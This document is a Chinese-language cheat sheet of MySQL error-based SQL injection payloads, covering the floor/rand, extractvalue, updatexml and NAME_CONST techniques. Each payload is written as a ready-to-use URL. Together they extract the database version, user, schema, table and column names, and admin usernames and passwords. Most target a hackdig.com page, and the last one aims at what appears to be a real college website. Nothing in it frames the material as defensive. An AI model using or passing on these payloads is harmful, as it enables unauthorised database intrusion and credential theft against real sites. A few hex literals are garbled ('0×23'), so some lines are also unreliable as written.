1、通過floor暴錯

/*資料庫版本*/

http://www.hackdig.com/sql.php?id=1+and(select 1 from(select count(*),concat((select (select (select concat(0x7e,version(),0x7e))) from information_schema.tables limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a)

/*簡單辦法暴庫*/

/*連線使用者*/

http://www.hackdig.com/sql.php?id=1+and(select 1 from(select count(*),concat((select (select (select concat(0x7e,user(),0x7e))) from information_schema.tables limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a)

/*連線資料庫*/
http://www.hackdig.com/sql.php?id=1+and(select 1 from(select count(*),concat((select (select (select concat(0x7e,database(),0x7e))) from information_schema.tables limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a)

/*暴庫*/
http://www.hackdig.com/sql.php?id=1+and(select 1 from(select count(*),concat((select (select (SELECT distinct concat(0x7e,schema_name,0x7e) FROM information_schema.schemata LIMIT 0,1)) from information_schema.tables limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a)

/*暴表*/
http://www.hackdig.com/sql.php?id=1+and(select 1 from(select count(*),concat((select (select (SELECT distinct concat(0x7e,table_name,0x7e) FROM information_schema.tables where table_schema=database() LIMIT 0,1)) from information_schema.tables limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a)

/*暴欄位*/
http://www.hackdig.com/sql.php?id=1+and(select 1 from(select count(*),concat((select (select (SELECT distinct concat(0x7e,column_name,0x7e) FROM information_schema.columns where table_name=0x61646D696E LIMIT 0,1)) from information_schema.tables limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a)

/*暴內容*/
http://www.hackdig.com/sql.php?id=1+and(select 1 from(select count(*),concat((select (select (SELECT distinct concat(0×23,username,0x3a,password,0×23) FROM admin limit 0,1)) from information_schema.tables limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a)

2、ExtractValue(有長度限制,最長32位)

http://www.hackdig.com/sql.php?id=1+and extractvalue(1, concat(0x7e, (select @@version),0x7e))
http://www.hackdig.com/sql.php?id=1+and extractvalue(1, concat(0x7e,(SELECT distinct concat(0×23,username,0x3a,password,0×23) FROM admin limit 0,1)))

3、UpdateXml(有長度限制,最長32位)

http://www.hackdig.com/sql.php?id=1+and updatexml(1,concat(0x7e,(SELECT @@version),0x7e),1)

http://www.hackdig.com/sql.php?id=1+and updatexml(1,concat(0x7e,(SELECT distinct concat(0×23,username,0x3a,password,0×23) FROM admin limit 0,1),0x7e),1)

4、NAME_CONST(適用於低版本) 

http://wlkc.zjtie.edu.cn/qcwh/content/detail.php?id=330&sid=19&cid=261+and+1=(select+*+from+(select+NAME_CONST(version(),1),NAME_CONST(version(),1))+as+x)–
